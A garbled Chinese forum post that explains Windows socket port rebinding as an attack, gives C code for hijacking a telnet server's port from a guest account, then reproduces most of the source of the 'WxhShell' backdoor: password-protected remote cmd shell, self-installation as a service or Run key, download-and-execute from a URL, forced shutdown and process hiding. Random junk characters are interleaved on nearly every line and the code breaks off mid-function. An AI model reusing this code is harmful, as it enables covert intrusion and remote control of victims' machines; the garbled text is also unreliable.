在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^(y4]yZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p-Z5 {by umciP saddr.sin_family = AF_INET;
+-ue={' TAP/gN' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Rh39x-`Z aX!J0&3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(q
utgnW ),86Y:^4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Mw <1 CR<*<=rI 这意味着什么?意味着可以进行如下的攻击:
I aW8 1K!7FiqY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(5SI!1N %tpjy, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(1ebE =6>mlI>i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*ood3M[M^ 'n\ZmG{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l ^{]pD u >x2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|b|p0Z%7{ ,ua]h8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
LGK}oL' 'O
CVUF, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
U^.$k-|k Fik*7!XQ8 #include
;kdJxxUox #include
b8O:@j2 #include
JAYom%A" #include
+K&ze:-Z DWORD WINAPI ClientThread(LPVOID lpParam);
hsi#J^n{ int main()
=fm/l-P@ {
Mv_4*xVc WORD wVersionRequested;
_uDtRoI8 DWORD ret;
@qeI4io-n WSADATA wsaData;
!5ppA BOOL val;
cdk;HK_Ve. SOCKADDR_IN saddr;
qr:[y SOCKADDR_IN scaddr;
s:M:Ff int err;
VXC_Y SOCKET s;
*<J**FhcMu SOCKET sc;
?k/Uw'J4u/ int caddsize;
j5AW} HANDLE mt;
9+pnpaZB0 DWORD tid;
o|*,<5t wVersionRequested = MAKEWORD( 2, 2 );
${e{# err = WSAStartup( wVersionRequested, &wsaData );
?;\YiOTda if ( err != 0 ) {
z`{x1*w_ printf("error!WSAStartup failed!\n");
yQ\c<z^e return -1;
rN
OwB2e }
=5+:<e,& saddr.sin_family = AF_INET;
M}HGFN xHHG|
u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
U4%P0}q/ o;}o"-s saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
oA`Ncu5 saddr.sin_port = htons(23);
pj'Yv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
="MG>4j3.F {
zvE]4}VL? printf("error!socket failed!\n");
~Xa >; return -1;
"@.hz@> }
Yf|+p65g val = TRUE;
IU&n!5d$)| //SO_REUSEADDR选项就是可以实现端口重绑定的
>[NNu Y~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@qI^xs=Z {
NU81 V0:jG printf("error!setsockopt failed!\n");
@N34 Q-l return -1;
h%Bp%Y9 }
)%P!<|s:5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ZfoI7<?33 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
&!_>J0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[Qr#JJ _HGbR/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
zGA#7W2?0 {
Ak&eGd$d ret=GetLastError();
z;D[7tT printf("error!bind failed!\n");
DdPU\ ZWR return -1;
Lk4gjs,V }
~#Vrf0w/ listen(s,2);
;=aj)lemCr while(1)
_A1r6 {
1#6c
sZW5 caddsize = sizeof(scaddr);
:D;BA //接受连接请求
EQ\/I(
=l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=56O-l7T*w if(sc!=INVALID_SOCKET)
n}0[EE! {
y@e/G3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:(E.sT"R if(mt==NULL)
'8PZmS8X9 {
"cj6i{x,~w printf("Thread Creat Failed!\n");
Dy
mf break;
}mz@oEB#vF }
_I+QInD ;) }
[Q6PFdQ_JT CloseHandle(mt);
VI/77 }
$zKf>[K closesocket(s);
RX \%R WSACleanup();
6;Wns' return 0;
b dP @^Q }
a/^ojn DWORD WINAPI ClientThread(LPVOID lpParam)
3P N<J {
%xPJJ$P SOCKET ss = (SOCKET)lpParam;
7\H jQ7__ SOCKET sc;
\$$DM"+:;H unsigned char buf[4096];
_ 5nLrn,~ SOCKADDR_IN saddr;
!o1+#DL)MU long num;
rUmaKh?v|X DWORD val;
'9.L5*wh] DWORD ret;
B _k+Oa2! //如果是隐藏端口应用的话,可以在此处加一些判断
5LM Ay" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
f0S$p
R saddr.sin_family = AF_INET;
jI[Y< (F ; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=*>ri saddr.sin_port = htons(23);
)G
a5c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5bBY[qp {
+~Wg@ printf("error!socket failed!\n");
m - ]E| return -1;
%OE
(?~dq }
rK(TekU val = 100;
Vq4g#PcG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3qggdi {
%m )vQ\Vtx ret = GetLastError();
'(fQtQ% return -1;
#\1)Tu%- }
m#|;?z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o+*7Q! {
Pg4go10| ret = GetLastError();
kT^|%bB[i return -1;
@` 5P^H7 }
*QH~z2:[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
xU9T8Lw {
5d|hP4fEc printf("error!socket connect failed!\n");
fkk&pu closesocket(sc);
2:GS(%~ closesocket(ss);
t[}&*2"$/ return -1;
I' [gGK4F }
p.)IdbC`B while(1)
'8Wu9 phT {
mH6\8I //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
x<d2/[(}mT //如果是嗅探内容的话,可以再此处进行内容分析和记录
o=C:= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0Sx$6:-~ num = recv(ss,buf,4096,0);
qg1tDN`s if(num>0)
efN5(9*9R send(sc,buf,num,0);
T]oVNy else if(num==0)
zPm|$d break;
`]F}O \H num = recv(sc,buf,4096,0);
M,w5F5 if(num>0)
$/J4?Wik send(ss,buf,num,0);
;x,yGb` else if(num==0)
^J~5k,7jX break;
L+K,Y:D!W }
Tji* \<? closesocket(ss);
,B 2p\ closesocket(sc);
L5DeLF+ return 0 ;
>v#6SDg }
_D"V^4^yqu hik.c3 2,'~' ==========================================================
6v?tZ&,
G 5D+rR<pD}" 下边附上一个代码,,WXhSHELL
Fe L !%z ?uh%WN6nU] ==========================================================
=[do([A adY ,Nz #include "stdafx.h"
%_(X n ;.+C #include <stdio.h>
,Jrm85oG #include <string.h>
C[R|@9NI #include <windows.h>
*)bh6b=7 #include <winsock2.h>
0g'MFS #include <winsvc.h>
6qR5A+|; #include <urlmon.h>
I+eKuWB pN=>q<]L #pragma comment (lib, "Ws2_32.lib")
<IBWA0A=8a #pragma comment (lib, "urlmon.lib")
ROi_k4Fj 4OOI$J$Jh #define MAX_USER 100 // 最大客户端连接数
\ v2-}jU( #define BUF_SOCK 200 // sock buffer
@Ta0v:Y #define KEY_BUFF 255 // 输入 buffer
x~?|bnM#3 0d/
f4 #define REBOOT 0 // 重启
?Gx-q+H #define SHUTDOWN 1 // 关机
0u}+n+\g %6Y\4Fe #define DEF_PORT 5000 // 监听端口
M#}k@
;L3 T&ib]LmR #define REG_LEN 16 // 注册表键长度
[hJASX9 #define SVC_LEN 80 // NT服务名长度
Yij_'0vZ 3w&Z:< // 从dll定义API
6GMwB@ b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s:xt4< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nTv^][ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&8HJ4Vj2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+8}8b_bgH *RD<*l // wxhshell配置信息
~--b#o{ struct WSCFG {
6
m%/3>q int ws_port; // 监听端口
/"@k_[O char ws_passstr[REG_LEN]; // 口令
9]gV#uF int ws_autoins; // 安装标记, 1=yes 0=no
RveEA/&& char ws_regname[REG_LEN]; // 注册表键名
.efbORp char ws_svcname[REG_LEN]; // 服务名
7V%b!R} char ws_svcdisp[SVC_LEN]; // 服务显示名
<YAs0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
a\m0X@Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,a3M*}Y~3 int ws_downexe; // 下载执行标记, 1=yes 0=no
]D_
AZI char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=AP0{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[{PmU~RMYf
Iuve~ugO };
3Vk<hBw2 J\?d+}hynX // default Wxhshell configuration
0zpA<"S struct WSCFG wscfg={DEF_PORT,
=>*9"k%m "xuhuanlingzhe",
LG
vPy 1,
^f] 9^U{ "Wxhshell",
_^h?JTU^ "Wxhshell",
wV q4DE "WxhShell Service",
QSx4M "Wrsky Windows CmdShell Service",
%GigRA@no "Please Input Your Password: ",
$r1{Nh 1,
/6FPiASbS "
http://www.wrsky.com/wxhshell.exe",
X\|h:ce "Wxhshell.exe"
.-:@+=( };
_#yd0E Of;$
VK' // 消息定义模块
a?X#G/) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:0% $u>;O: char *msg_ws_prompt="\n\r? for help\n\r#>";
vv1W <X0e< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@4wN-T+1 char *msg_ws_ext="\n\rExit.";
$aY:Z_s char *msg_ws_end="\n\rQuit.";
DfZ)gqp/Av char *msg_ws_boot="\n\rReboot...";
k&= iye( char *msg_ws_poff="\n\rShutdown...";
qf*e2"~v char *msg_ws_down="\n\rSave to ";
]#\/1!W 3J[ 5^ char *msg_ws_err="\n\rErr!";
Uc0Sb char *msg_ws_ok="\n\rOK!";
OSkBBo]~z ^,#MfF6 char ExeFile[MAX_PATH];
6oLZH6fG int nUser = 0;
Bg}(Sy HANDLE handles[MAX_USER];
4Y{&y6 int OsIsNt;
^}4ysw -^,wQW:o) SERVICE_STATUS serviceStatus;
2+C8w%F8 SERVICE_STATUS_HANDLE hServiceStatusHandle;
y^:6D(SR W;T(q~XK // 函数声明
?m h0^G int Install(void);
L8cPNgZ
int Uninstall(void);
+IM6 GeH int DownloadFile(char *sURL, SOCKET wsh);
XBos^Q int Boot(int flag);
71G00@&w9D void HideProc(void);
+~?K@n int GetOsVer(void);
-O6\!Wo=- int Wxhshell(SOCKET wsl);
aFDCVm%U| void TalkWithClient(void *cs);
h5ZxxtGU int CmdShell(SOCKET sock);
^ oh%Ns int StartFromService(void);
QD^"cPC)mM int StartWxhshell(LPSTR lpCmdLine);
70E@h=oQ W C3b_ia VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sx][X itR+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZIJTGa}B
q QW>(LG G= // 数据结构和表定义
K@@Jt SERVICE_TABLE_ENTRY DispatchTable[] =
0hX@ta[Up {
]*\<k {wscfg.ws_svcname, NTServiceMain},
hJGWa%` {NULL, NULL}
Iq(;?_ };
l 5z8]/ "yPKdwP // 自我安装
du^r EMb% int Install(void)
l]mn4cn3 {
aR0v qRF char svExeFile[MAX_PATH];
)}SiM{g HKEY key;
3L%g2` strcpy(svExeFile,ExeFile);
Eq'oy~.oV K9Bi2/N // 如果是win9x系统,修改注册表设为自启动
#*;Nb if(!OsIsNt) {
l(?Yx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EhHW` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
} bEu+bZ RegCloseKey(key);
Zq>}SR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BXX1G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Wg5i#6y8w RegCloseKey(key);
o/p'eY:) return 0;
Lz;E/a}s }
g<PdiVp+ }
x^JjoI2vf }
G+l9QaFv else {
<>K@#|%Y& QLAyX*%B // 如果是NT以上系统,安装为系统服务
TkV$h(#!f& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
l%9nA.M' if (schSCManager!=0)
b}jLI_R{ {
U-GV^j SC_HANDLE schService = CreateService
^1NtvQe@Y\ (
|cq%eN schSCManager,
0Z>oiBr4 wscfg.ws_svcname,
T#w *5Qf wscfg.ws_svcdisp,
d^jIsE ` SERVICE_ALL_ACCESS,
cRC)99HP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ow7I`#P SERVICE_AUTO_START,
>zWVM1\\j SERVICE_ERROR_NORMAL,
9TILrK svExeFile,
G/C5o=cY NULL,
$;t#pN/` NULL,
Ss{
NULL,
rCO:39L- NULL,
7<%Rx19L* NULL
o'nrLI(t );
hy|X(m if (schService!=0)
2-M]!x) {
A[m4do CloseServiceHandle(schService);
D^H<)5d9 CloseServiceHandle(schSCManager);
ld*RL:G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Rd.[8#7VE strcat(svExeFile,wscfg.ws_svcname);
G0eJ<*|_ 3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ig6>+Mw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s%~p?_P RegCloseKey(key);
MF^I] 7_ return 0;
P=9Zm }
5-pz/%, }
t#h<'?\E CloseServiceHandle(schSCManager);
v]HiG_C }
`;R|SyrX }
-/#tQ~{gs <ArP_!
`3 return 1;
C&ivjFf }
v`$9;9 WtTwY8HC // 自我卸载
X*'-^WM6 int Uninstall(void)
~ ]q^Akq {
l7r!fAV-f HKEY key;
IK-E{,iKc `-N&cc if(!OsIsNt) {
`'`T'+0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WwDxZ>9jw RegDeleteValue(key,wscfg.ws_regname);
S
Yvifgp RegCloseKey(key);
jsvD[ \P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VNbq]L(g RegDeleteValue(key,wscfg.ws_regname);
Lay+)S.ta[ RegCloseKey(key);
Az2$\ return 0;
<&'r_m }
ngN_,x7yc }
ZR'q.y[k) }
U<
p kg else {
{q:o}<-L+ HH|&$C|64 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
a".uS4x if (schSCManager!=0)
1XO*yZF {
Mr(~
* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Yn}_"FO' if (schService!=0)
|8"~ou:. {
-$4%@Z if(DeleteService(schService)!=0) {
D4r5wc% CloseServiceHandle(schService);
ZCMB]bL-e CloseServiceHandle(schSCManager);
w%k)J{\ return 0;
%d9UW Q }
$0Y&r]' CloseServiceHandle(schService);
v=|BqG` }
OI.2C F CloseServiceHandle(schSCManager);
'.@R_sj }
j]<T\O>t> }
0\jOg 3Fn26Rij return 1;
%Ys>PzM }
#?i#q%q y=\jQ6Fc // 从指定url下载文件
Tc)T0dRP int DownloadFile(char *sURL, SOCKET wsh)
BifA&o% {
~&~%q u HRESULT hr;
.so{ RI char seps[]= "/";
?8(`tS(_? char *token;
= sIR[V'( char *file;
~]/X,Cf char myURL[MAX_PATH];
_A)<"z0E char myFILE[MAX_PATH];
"=<lPi UUY-EC7X strcpy(myURL,sURL);
k&DHQvfB token=strtok(myURL,seps);
bYdC.AE while(token!=NULL)
"ngYh]Git$ {
KW&&AuPb} file=token;
r[Q$w> token=strtok(NULL,seps);
n a2"Sy=Yi }
RQU5T 2,
=tH+e7it GetCurrentDirectory(MAX_PATH,myFILE);
&U xN.vl strcat(myFILE, "\\");
?/)5U}*M0T strcat(myFILE, file);
=O)JPo&iwY send(wsh,myFILE,strlen(myFILE),0);
ok\+$+$ju send(wsh,"...",3,0);
GKY:"q&h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
nHKEtKDd if(hr==S_OK)
0m`7|80#P return 0;
7"xd'\c@ else
_|TE )h return 1;
n/?5[O-D] 5.[{PJ]bq }
9$Mi/eLG2N dY\"'LtF // 系统电源模块
e|Sg?ocR int Boot(int flag)
`z` `d*_ {
@mJN HANDLE hToken;
9'toj%XQ TOKEN_PRIVILEGES tkp;
kFM'?L& {|xwvTlJ if(OsIsNt) {
qW7"qw= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
NTL#! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m4Wn$Z tkp.PrivilegeCount = 1;
E}@8sY L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
f/;\/Q[Z7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
45MK|4\Y_ if(flag==REBOOT) {
t48(GKF if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{C]M]b*F6( return 0;
iW"L!t#\| }
1wc
-v@E else {
-'PpY302 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;@d%<yMf@ return 0;
XFu@XUk!K }
N0vd>b }
HqXo;`Yy} else {
E;4Ns if(flag==REBOOT) {
2hJ{+E.m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
M+hc,;6 return 0;
jq0tMTb%L }
0"2 [I else {
5h:SH]tn8] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^2kWD8c* return 0;
($S{td; }
t^CT^z }
o~-X7)] BXfaqYb;Q return 1;
"j a0,%3 }
Ve8! ==XP}w)m // win9x进程隐藏模块
)%y~{j+ M void HideProc(void)
rd,mbH[<C {
uPF yRWK u4<r$[]V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]R4)FH|>< if ( hKernel != NULL )
HJJ^pk& {
xu:m~8% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
g
Go ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
rp'fli?0e FreeLibrary(hKernel);
4{vd6T}V! }
f]'@Vt> <;6]) return;
D@^F6am% }
bg
HaheU KFZ[gqW8YY // 获取操作系统版本
T?\CAk> int GetOsVer(void)
Q"Ec7C5eM {
9iF e^^<ss OSVERSIONINFO winfo;
H~ZSw7!M8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(j~V GetVersionEx(&winfo);
?UfZ VyHv+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
<{) 4gvH return 1;
4]B3C\
v else
^mum5j return 0;
]Qu12Wg}P }
tl)}Be+Dt; Pj.~|5gnf // 客户端句柄模块
vR)7qX} int Wxhshell(SOCKET wsl)
"T&uS1+=c {
NdNfai SOCKET wsh;
%7d"()L struct sockaddr_in client;
N/%#GfXx DWORD myID;
(t]>=p%4g wi9| while(nUser<MAX_USER)
Q
jBCkx]g {
Yjl0Pz.q int nSize=sizeof(client);
}-L@AC/\# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
t3GK{X if(wsh==INVALID_SOCKET) return 1;
d_,tXV"z& m@,>d_|-K- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
g\-3c=X if(handles[nUser]==0)
S!q}Pn closesocket(wsh);
Lq [wabF else
%8*d)AB: nUser++;
`e9uSF:9C }
;:|KfXiC8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$McO'Bye{h 'i(p@m<' return 0;
Q'a N|^w"f }
?8, N4T0) +wUhB\F
* // 关闭 socket
Dgm%Ng void CloseIt(SOCKET wsh)
84!4Vz^ {
if}]8 closesocket(wsh);
rl^LSz nUser--;
-7O/ed+ ExitThread(0);
^<VE5OM }
z`5I1#PVA Ozv.;}SE // 客户端请求句柄
]-'9|N*}l void TalkWithClient(void *cs)
spx;QLo {
2SJh6U +zdkdS,2< SOCKET wsh=(SOCKET)cs;
)/Xrhhx char pwd[SVC_LEN];
\!QF9dP4 char cmd[KEY_BUFF];
=Yj[MVn char chr[1];
lkZC?--H int i,j;
5 WppV3; u-9t s while (nUser < MAX_USER) {
_;q-+"6L; `fkrik if(wscfg.ws_passstr) {
@L!#i*> 9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7h]R{ _ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]2%P``Yj //ZeroMemory(pwd,KEY_BUFF);
y:OywIi( i=0;
(<C%5xk while(i<SVC_LEN) {
y+scJ+< aTh%oBrtP // 设置超时
W-PZE|< fd_set FdRead;
#=H}6!18 struct timeval TimeOut;
_A|\.(t FD_ZERO(&FdRead);
t MZ(s FD_SET(wsh,&FdRead);
:3>yr5a7- TimeOut.tv_sec=8;
e-cb?.WU? TimeOut.tv_usec=0;
87(^P3;@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
{}o>nenx\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!;*2*WuO; 9BD|uU;0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]A]E)* pwd
=chr[0]; ]2Fo.n
if(chr[0]==0xd || chr[0]==0xa) { J8v:a`bX&
pwd=0; A4Q)YY9~
break; x0A%kp&w
} O4PdN?
i++; '+I
2$xE
} ;9 &1JX
/-YlC(kL
// 如果是非法用户,关闭 socket v~2XGm
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 31sgf5 s
} 3:8nwt
p@8^gc
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HA.NZkq.tV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _{`'{u
yFU2'pB
while(1) { _ K+V?-=
x\bR j>%(
ZeroMemory(cmd,KEY_BUFF); Y5i`pY/}#?
E"1;i
// 自动支持客户端 telnet标准 k *;{n8o?)
j=0; x$5nLS2.
while(j<KEY_BUFF) { KpbZnW}g
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FSwgPIO>
cmd[j]=chr[0]; h>^jq{yu
if(chr[0]==0xa || chr[0]==0xd) { :
9?Cm`
cmd[j]=0; ,Z*3,/a
break; @2~O^5[>
} 0o=6A<#x
j++; K]pKe"M
} y|+~>'^JR
p]V-<
// 下载文件 R#7+
if(strstr(cmd,"http://")) { &X]=Qpl
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,4>WLJDo
if(DownloadFile(cmd,wsh)) /Xu;/MMpd3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x:n9dm
else
TCKI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2.Eu+*UC
} kJvy<(iG
else { ok>P [
&!
`m@]
switch(cmd[0]) { #1jtprc
SCh7O}
// 帮助 a._^E/EV
case '?': { %$Jqt
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V:(w\'wm
break; 8`inRfpY
} ycl>git]
// 安装 ]EVe@
case 'i': { o3i,B),K
if(Install()) Xc9p;B>^Ts
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(bCz>o|
else /_:T\`5uO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @O<@f8-
break; #lyM+.T
} K[#v(<)
// 卸载 Qw6KX#n
case 'r': { p-i.ITRS
if(Uninstall()) |auX*hb9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1O]5/Eu
else {+/
.5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !rsa4t@t
break; |?2 hml
} i!.I;@
// 显示 wxhshell 所在路径 Wlr&g
xZ
case 'p': { h=K36a)
char svExeFile[MAX_PATH]; %Vw|5yA4
strcpy(svExeFile,"\n\r"); BDm88<]
strcat(svExeFile,ExeFile); [V2omSZo
send(wsh,svExeFile,strlen(svExeFile),0); ~E<PtDab
break; GTp?)nh^
} qlz9&w
// 重启 ;e~{TkD
case 'b': { Msv*}^>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o8};e
if(Boot(REBOOT)) yUD_w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y0Hq+7x
else { C>Omng1>^
closesocket(wsh); 2xL!PR-
ExitThread(0); :_o] F
} _uO!N(k.
break; B8cBQ v
} )]c]el@y
// 关机 LXh@o1
case 'd': { f%Z;05
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L@1,7@
if(Boot(SHUTDOWN)) J$6-c'8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RV0>-@/x
else { nJtEUVMt
closesocket(wsh); D4=..;
ExitThread(0); IdV,%d{
} ,YP1$gj
break; YM#
} Qq,i
// 获取shell 6?1s`{yy
case 's': { l)tTg+:
CmdShell(wsh); 9*}iBs
closesocket(wsh); &\J?[>EJ.
ExitThread(0); e5qrQwU
break; ill-%OPeg
} {h/OnBwG
// 退出 %XEKhy
case 'x': { 0On?{Bw
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !G)mjvEe
CloseIt(wsh); /~o7Q$)-b
break; `y8
?=
} 8
3z'#
// 离开 :X'*8,]KHH
case 'q': { z+3<$Z
send(wsh,msg_ws_end,strlen(msg_ws_end),0); LJRg>8
closesocket(wsh); ZNzR`6}
WSACleanup(); kq) +@p
exit(1); 1s{ISWm
break; u @{E{
} pY+.SuM
} 7ei>L]gm%
} L.C
^E7;Z_
zY7*[!c2
// 提示信息 (v|r'B9b
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BA~a?"HS
} T"L0Iy!k;
} Ys"|</;dbj
, vY)n6
return; uL2"StW
} 1*C:hg@
8q]J;T
// shell模块句柄 nc3sty1`
int CmdShell(SOCKET sock) q+YuVQ-fx
{ ;j>*;Q`
STARTUPINFO si; 0lX)Cl
ZeroMemory(&si,sizeof(si)); mgi,b2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [<]Y+33
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j2RRSz&9
PROCESS_INFORMATION ProcessInfo; [leW/2i
char cmdline[]="cmd"; Um]p&phVL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a$w},=
`E
return 0; VK @$JwdL
} U8CWz!;Qz
6BDt.bG
// 自身启动模式 |BwRlE2CFO
int StartFromService(void) El~-M`Gf
{ UH5w7M
typedef struct q>^hoW2$C
{
@bY('gC,
DWORD ExitStatus; @O@fyAz
DWORD PebBaseAddress; FJO"|||Y'|
DWORD AffinityMask; r8IX/ ,
DWORD BasePriority; oS~}TR:}
